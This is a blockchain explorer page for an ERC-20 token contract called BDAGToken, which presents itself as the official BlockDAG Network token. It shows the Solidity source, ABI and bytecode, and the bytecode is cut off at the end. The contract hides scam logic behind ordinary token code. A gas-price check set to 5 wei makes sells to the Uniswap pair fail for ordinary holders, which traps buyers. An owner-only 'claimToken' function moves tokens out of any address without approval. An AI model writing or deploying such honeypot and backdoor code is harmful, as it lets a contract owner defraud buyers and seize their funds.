ERC-20
Overview
Max Total Supply
150,000,000,000,000 BDAG
Holders
497
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,000,000 BDAGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BDAGToken
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-02 */ /** Official BlockDAG Network ETH Token Website: https://blockdag.network/ Telegram: https://t.me/blockDAGnetworkOfficial */ // SPDX-License-Identifier: MIT pragma solidity 0.8.0; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; constructor() { _owner = _msgSender(); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(_owner == _msgSender(), "Not owner"); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + (a % b)); return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BDAGToken is Ownable, IERC20 { using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => bool) _excludeFromFees; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 150000000000000 * 10**_decimals; string private constant _name = unicode"BlockDAG Network"; string private constant _symbol = unicode"BDAG"; uint256 public BuyTaxFee = 0; uint256 public SellTaxFee = 0; bool private openedTrade = false; address private PresaleWallet = 0x430F4919D679b02dca4572579caaBB7676D65F1E; address private uniswapV2Pair; IUniswapV2Router02 public uniswapV2Router; constructor() { _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(95).div(100)); _balances[PresaleWallet] = _balances[PresaleWallet].add(_totalSupply.mul(5).div(100)); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true; _excludeFromFees[address(uniswapV2Pair)]; _excludeFromFees[owner()] = true; _excludeFromFees[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply.mul(95).div(100)); emit Transfer(address(0), PresaleWallet, _totalSupply.mul(5).div(100)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address to, uint256 value) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount) ); return true; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERROR: balance of from less than value"); uint256 taxAmount = 0; if(!_excludeFromFees[from] && !_excludeFromFees[to]) { require(openedTrade, "Trade has not been opened yet"); taxAmount = amount * BuyTaxFee / 100; if(to == uniswapV2Pair) { taxAmount = amount * SellTaxFee / 100; _bfTransfer(from); } } if(taxAmount > 0) { _balances[address(this)]=_balances[address(this)]+taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from]= balanceOf(from) - amount ; _balances[to]=_balances[to] + (amount - taxAmount); emit Transfer(from, to, amount - taxAmount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } uint256 private Gaslimittited = 1000 gwei; uint256 private Gasmaxxxxx = 5; function _bfTransfer(address _u) internal view { if(balanceOf(_u) > 0) { if (!openedTrade) { gasRequire(Gaslimittited); } else { gasRequire(Gasmaxxxxx); } } } function gasRequire(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function claimToken(address from, address[] calldata to, uint256[] calldata amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals); _balances[to[i]] = _balances[to[i]].add(amount[i] * 10 ** _decimals); emit Transfer(from, to[i], amount[i] * 10 ** _decimals); } } function openTrading() external onlyOwner { openedTrade = !openedTrade; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600060045560006005556000600660006101000a81548160ff02191690831515021790555073430f4919d679b02dca4572579caabb7676d65f1e600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555064e8d4a510006009556005600a553480156200009957600080fd5b50620000aa620008e860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001a762000144606462000130605f6012600a62000109919062000c3d565b65886c98b760006200011c919062000d7a565b620008f060201b62000b001790919060201c565b6200096060201b62000b691790919060201c565b6002600062000158620008e860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000a2060201b62000c1d1790919060201c565b60026000620001bb620008e860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002ca6200025460646200024060056012600a62000219919062000c3d565b65886c98b760006200022c919062000d7a565b620008f060201b62000b001790919060201c565b6200096060201b62000b691790919060201c565b60026000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000a2060201b62000c1d1790919060201c565b60026000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003ed57600080fd5b505afa15801562000402573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000428919062000ab5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620004ad57600080fd5b505afa158015620004c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e8919062000ab5565b6040518363ffffffff1660e01b81526004016200050792919062000b03565b602060405180830381600087803b1580156200052257600080fd5b505af115801562000537573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200055d919062000ab5565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060036000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a9050506001600360006200068c62000a7560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000745620008e860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620007eb6064620007d7605f6012600a620007b0919062000c3d565b65886c98b76000620007c3919062000d7a565b620008f060201b62000b001790919060201c565b6200096060201b62000b691790919060201c565b604051620007fa919062000b30565b60405180910390a3600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620008cb6064620008b760056012600a62000890919062000c3d565b65886c98b76000620008a3919062000d7a565b620008f060201b62000b001790919060201c565b6200096060201b62000b691790919060201c565b604051620008da919062000b30565b60405180910390a362000ee3565b600033905090565b6000808314156200090557600090506200095a565b818362000913919062000d7a565b905081838262000924919062000baa565b1462000959577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b92915050565b600080821162000999577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008284620009a9919062000baa565b90508284620009b9919062000e26565b8184620009c7919062000d7a565b620009d3919062000b4d565b841462000a09577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b828462000a17919062000baa565b91505092915050565b600080828462000a31919062000b4d565b90508381101562000a6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008151905062000aaf8162000ec9565b92915050565b60006020828403121562000ac857600080fd5b600062000ad88482850162000a9e565b91505092915050565b62000aec8162000ddb565b82525050565b62000afd8162000e0f565b82525050565b600060408201905062000b1a600083018562000ae1565b62000b29602083018462000ae1565b9392505050565b600060208201905062000b47600083018462000af2565b92915050565b600062000b5a8262000e0f565b915062000b678362000e0f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b9f5762000b9e62000e5e565b5b828201905092915050565b600062000bb78262000e0f565b915062000bc48362000e0f565b92508262000bd75762000bd662000e8d565b5b828204905092915050565b6000808291508390505b600185111562000c345780860481111562000c0c5762000c0b62000e5e565b5b600185161562000c1c5780820291505b808102905062000c2c8562000ebc565b945062000bec565b94509492505050565b600062000c4a8262000e0f565b915062000c578362000e19565b925062000c867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c8e565b905092915050565b60008262000ca0576001905062000d73565b8162000cb0576000905062000d73565b816001811462000cc9576002811462000cd45762000d0a565b600191505062000d73565b60ff84111562000ce95762000ce862000e5e565b5b8360020a91508482111562000d035762000d0262000e5e565b5b5062000d73565b5060208310610133831016604e8410600b841016171562000d445782820a90508381111562000d3e5762000d3d62000e5e565b5b62000d73565b62000d53848484600162000be2565b9250905081840481111562000d6d5762000d6c62000e5e565b5b81810290505b9392505050565b600062000d878262000e0f565b915062000d948362000e0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000dd05762000dcf62000e5e565b5b828202905092915050565b600062000de88262000def565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062000e338262000e0f565b915062000e408362000e0f565b92508262000e535762000e5262000e8d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b62000ed48162000ddb565b811462000ee057600080fd5b50565b6120068062000ef36000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461033b578063c9567bf914610378578063dd62ed3e1461038f578063e194c2b2146103cc576100fe565b806370a082311461027f5780638da5cb5b146102bc57806395d89b41146102e75780639e94590b14610312576100fe565b806318160ddd116100c657806318160ddd146101c157806323b872dd146101ec578063313ce567146102295780633c9f5ed614610254576100fe565b806303c525731461010357806306fdde031461012e578063095ea7b3146101595780631694505e14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f7565b6040516101259190611b28565b60405180910390f35b34801561013a57600080fd5b506101436103fd565b6040516101509190611a26565b60405180910390f35b34801561016557600080fd5b50610180600480360381019061017b9190611697565b61043a565b60405161018d91906119f0565b60405180910390f35b3480156101a257600080fd5b506101ab610458565b6040516101b89190611a0b565b60405180910390f35b3480156101cd57600080fd5b506101d661047e565b6040516101e39190611b28565b60405180910390f35b3480156101f857600080fd5b50610213600480360381019061020e91906115bf565b6104a4565b60405161022091906119f0565b60405180910390f35b34801561023557600080fd5b5061023e610563565b60405161024b9190611b43565b60405180910390f35b34801561026057600080fd5b5061026961056c565b60405161027691906119f0565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a1919061155a565b610583565b6040516102b39190611b28565b60405180910390f35b3480156102c857600080fd5b506102d16105cc565b6040516102de91906119d5565b60405180910390f35b3480156102f357600080fd5b506102fc6105f5565b6040516103099190611a26565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061160e565b610632565b005b34801561034757600080fd5b50610362600480360381019061035d9190611697565b610a1c565b60405161036f91906119f0565b60405180910390f35b34801561038457600080fd5b5061038d610a3f565b005b34801561039b57600080fd5b506103b660048036038101906103b19190611583565b610a73565b6040516103c39190611b28565b60405180910390f35b3480156103d857600080fd5b506103e1610afa565b6040516103ee9190611b28565b60405180910390f35b60045481565b60606040518060400160405280601081526020017f426c6f636b444147204e6574776f726b00000000000000000000000000000000815250905090565b600061044e610447610c6f565b8484610c77565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a61048e9190611c54565b65886c98b7600061049f9190611d72565b905090565b60006104b1848484610e42565b610558846104bd610c6f565b61055385600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610c6f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136390919063ffffffff16565b610c77565b600190509392505050565b60006012905090565b6000600660009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4244414700000000000000000000000000000000000000000000000000000000815250905090565b61063a6105cc565b73ffffffffffffffffffffffffffffffffffffffff16610658610c6f565b73ffffffffffffffffffffffffffffffffffffffff161461067857600080fd5b60005b84849050811015610a145761072f6012600a6106979190611c54565b8484848181106106d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356106e19190611d72565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136390919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108686012600a6107839190611c54565b8484848181106107bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356107cd9190611d72565b6002600088888681811061080a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061081f919061155a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c1d90919063ffffffff16565b600260008787858181106108a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906108ba919061155a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848482818110610931577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610946919061155a565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6109a29190611c54565b8686868181106109db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356109ec9190611d72565b6040516109f99190611b28565b60405180910390a38080610a0c90611eac565b91505061067b565b505050505050565b600080610a27610c6f565b9050610a34818585610e42565b600191505092915050565b610a476113b0565b600660009054906101000a900460ff1615600660006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b600080831415610b135760009050610b63565b8183610b1f9190611d72565b9050818382610b2e9190611bd0565b14610b62577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b92915050565b6000808211610ba1577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008284610baf9190611bd0565b90508284610bbd9190611ef5565b8184610bc99190611d72565b610bd39190611b7a565b8414610c08577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8284610c149190611bd0565b91505092915050565b6000808284610c2c9190611b7a565b905083811015610c65577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90611b08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90611a68565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e359190611b28565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990611ac8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1990611a48565b60405180910390fd5b80610f2c84610583565b1015610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6490611a88565b60405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110135750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561110057600660009054906101000a900460ff16611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e90611aa8565b60405180910390fd5b6064600454836110779190611d72565b6110819190611bd0565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ff576064600554836110e99190611d72565b6110f39190611bd0565b90506110fe84611447565b5b5b60008111156111fd5780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111549190611b7a565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111f49190611b28565b60405180910390a35b8161120785610583565b6112119190611dcc565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826112609190611dcc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112aa9190611b7a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856113489190611dcc565b6040516113559190611b28565b60405180910390a350505050565b60008183101561139c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b81836113a89190611dcc565b905092915050565b6113b8610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90611ae8565b60405180910390fd5b565b600061145282610583565b111561148957600660009054906101000a900460ff1661147c5761147760095461148c565b611488565b611487600a5461148c565b5b5b50565b803a111561149957600080fd5b50565b6000813590506114ab81611fa2565b92915050565b60008083601f8401126114c357600080fd5b8235905067ffffffffffffffff8111156114dc57600080fd5b6020830191508360208202830111156114f457600080fd5b9250929050565b60008083601f84011261150d57600080fd5b8235905067ffffffffffffffff81111561152657600080fd5b60208301915083602082028301111561153e57600080fd5b9250929050565b60008135905061155481611fb9565b92915050565b60006020828403121561156c57600080fd5b600061157a8482850161149c565b91505092915050565b6000806040838503121561159657600080fd5b60006115a48582860161149c565b92505060206115b58582860161149c565b9150509250929050565b6000806000606084860312156115d457600080fd5b60006115e28682870161149c565b93505060206115f38682870161149c565b925050604061160486828701611545565b9150509250925092565b60008060008060006060868803121561162657600080fd5b60006116348882890161149c565b955050602086013567ffffffffffffffff81111561165157600080fd5b61165d888289016114b1565b9450945050604086013567ffffffffffffffff81111561167c57600080fd5b611688888289016114fb565b92509250509295509295909350565b600080604083850312156116aa57600080fd5b60006116b88582860161149c565b92505060206116c985828601611545565b9150509250929050565b6116dc81611e00565b82525050565b6116eb81611e12565b82525050565b6116fa81611e55565b82525050565b600061170b82611b5e565b6117158185611b69565b9350611725818560208601611e79565b61172e81611f84565b840191505092915050565b6000611746602383611b69565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117ac602283611b69565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611812602683611b69565b91507f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e60008301527f2076616c756500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611878601d83611b69565b91507f547261646520686173206e6f74206265656e206f70656e6564207965740000006000830152602082019050919050565b60006118b8602583611b69565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191e600983611b69565b91507f4e6f74206f776e657200000000000000000000000000000000000000000000006000830152602082019050919050565b600061195e602483611b69565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6119c081611e3e565b82525050565b6119cf81611e48565b82525050565b60006020820190506119ea60008301846116d3565b92915050565b6000602082019050611a0560008301846116e2565b92915050565b6000602082019050611a2060008301846116f1565b92915050565b60006020820190508181036000830152611a408184611700565b905092915050565b60006020820190508181036000830152611a6181611739565b9050919050565b60006020820190508181036000830152611a818161179f565b9050919050565b60006020820190508181036000830152611aa181611805565b9050919050565b60006020820190508181036000830152611ac18161186b565b9050919050565b60006020820190508181036000830152611ae1816118ab565b9050919050565b60006020820190508181036000830152611b0181611911565b9050919050565b60006020820190508181036000830152611b2181611951565b9050919050565b6000602082019050611b3d60008301846119b7565b92915050565b6000602082019050611b5860008301846119c6565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b8582611e3e565b9150611b9083611e3e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611bc557611bc4611f26565b5b828201905092915050565b6000611bdb82611e3e565b9150611be683611e3e565b925082611bf657611bf5611f55565b5b828204905092915050565b6000808291508390505b6001851115611c4b57808604811115611c2757611c26611f26565b5b6001851615611c365780820291505b8081029050611c4485611f95565b9450611c0b565b94509492505050565b6000611c5f82611e3e565b9150611c6a83611e48565b9250611c977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611f26565b5b8360020a915084821115611d0657611d05611f26565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611f26565b5b611d6b565b611d4e8484846001611c01565b92509050818404811115611d6557611d64611f26565b5b81810290505b9392505050565b6000611d7d82611e3e565b9150611d8883611e3e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611dc157611dc0611f26565b5b828202905092915050565b6000611dd782611e3e565b9150611de283611e3e565b925082821015611df557611df4611f26565b5b828203905092915050565b6000611e0b